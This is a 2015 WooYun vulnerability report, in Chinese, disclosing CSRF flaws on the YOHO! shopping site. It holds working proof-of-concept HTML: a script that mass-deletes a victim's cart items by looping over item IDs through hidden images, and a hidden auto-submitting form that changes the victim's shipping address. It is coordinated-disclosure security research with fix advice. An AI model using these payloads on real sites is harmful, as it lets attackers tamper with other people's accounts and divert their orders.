当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096546

漏洞标题:YOHO!有货CSRF可批量删除他人购物车内容,修改收货地址

相关厂商:YOHO!有货

漏洞作者: 月小对

提交时间:2015-02-12 10:59

修复时间:2015-03-29 11:00

公开时间:2015-03-29 11:00

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-12: 厂商已经确认,细节仅向厂商公开
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-29: 细节向公众公开

简要描述:

YOHO!有货东西很潮很nice,只可惜年终奖要3月份才发,哎不说了。
在这里提交一个csrf批量删除他人购物车商品,主要原因是因为删除购物车商品时不带token,且reffer未做限制

详细说明:

1.打开kali主机,用A账户登录,我们先看看删除自己购物车的数据包,是否带token,或reffer有无限制

2.jpg


ok,这里看到没有token的限制,且后面的时间戳1407715543670可以更改,无影响。id所代表的购物车商品一天之内的区间在3555xxxx(昨天购物车的id是3550xxxx)明显和每天整个网站的新加入购物车的总量相关,大概可以推算出每天的购买量哦
2.下面,我们自己制作一个csrfYohu.html内容如下,将其放到主机172.16.1.224上

<html>
<head>
<title>test</title>
<script type="text/javascript">
function show() {
var a = new Array();
var i = 1000;
for (i = 1000; i <= 9999; i++) {
a[i] = "http://www.yohobuy.com/shopping/cart/delone?id=3555" + i + "&is_reduce=0&_=1407715543670";
}
var ima = new Array();
for (i = 1; i <= 9000; i++) {
var image = document.getElementById("image");
ima[i] = document.createElement('img');
ima[i].src = a[i];
ima[i].height = 0
ima[i].width = 0
image.appendChild(ima[i]);
}
}
</script>
</head>
<body onload="javascript:show()">
<div id="image">
</div>
</body>
</html>


3.一个win7主机下已经登录YOHU的账户B,访问http://172.16.1.224/csrfYohu.html中招,开始自动遍历狂删账户B的购物车内容

10.jpg


删除前的购物车

3.jpg


跑了半分钟,发现购物车少了一件!@@!

12.jpg


csrf攻击成功
//////////////////////////////
接下来看一下修改地址的csrf
思路和上面一样,先修改地址抓包看看是否有token,发现没有
好的,做一个html放在http://172.16.1.224欺骗受害者点击。内容如下,隐藏网页,post提交,最后一个post参数id随便改,测试中发现没用

<form method='post' action='http://www.yohobuy.com/home/address/save'>
<input type='text' value='月月' name='addressee_name' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='上海中心' name='address' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='100000' name='zip_code' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='12345678' name='phone' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='18512345678' name='mobile' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='yueliang42@126.com' name='email' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='110101' name='area_code' style='display:none!important;display:block;width=0;height=0' />
<input type='text' value='1932100' name='id' style='display:none!important;display:block;width=0;height=0' />
</form>
<script>document.forms[0].submit();
</script>


address4.jpg


用python验证一下urlencode编码正确

urlencode.jpg


发现csrf修改地址成功

address5.jpg


address6.jpg


漏洞证明:

一个win7主机下已经登录YOHU的账户B,访问http://172.16.1.224/csrfYohu.html中招,开始自动遍历狂删账户B的购物车内容

10.jpg


删除前的购物车

3.jpg


跑了半分钟,发现购物车少了一件!@@!

12.jpg


发现csrf修改地址成功

address5.jpg


address6.jpg


修复方案:

reffer 检查,或者token引入,再不济就验证码!@@!

版权声明:转载请注明来源 月小对@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-02-12 14:02

厂商回复:

感谢大神的指点我们马上修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-05 09:37 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    这种影响不大的CSRF真的有意义么?不针对洞主,客观讨论,

  2. 2015-03-06 10:15 | 月小对 ( 普通白帽子 | Rank:142 漏洞数:23 | 打着篮球唱着歌)

    @BMa 才拿了4RANK,也可以不提交的,就放着估计也没什么风险